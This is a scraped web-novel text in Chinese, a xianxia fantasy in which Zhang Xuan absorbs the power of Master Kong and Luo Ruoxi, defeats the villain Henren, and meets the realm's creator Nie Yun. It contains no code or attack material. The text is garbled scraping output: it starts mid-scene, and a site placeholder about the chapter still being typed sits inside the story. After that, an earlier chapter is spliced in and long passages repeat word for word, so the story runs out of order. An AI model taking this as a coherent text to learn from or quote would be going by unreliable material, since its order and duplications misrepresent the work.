“这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第58章 趁虚而入 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 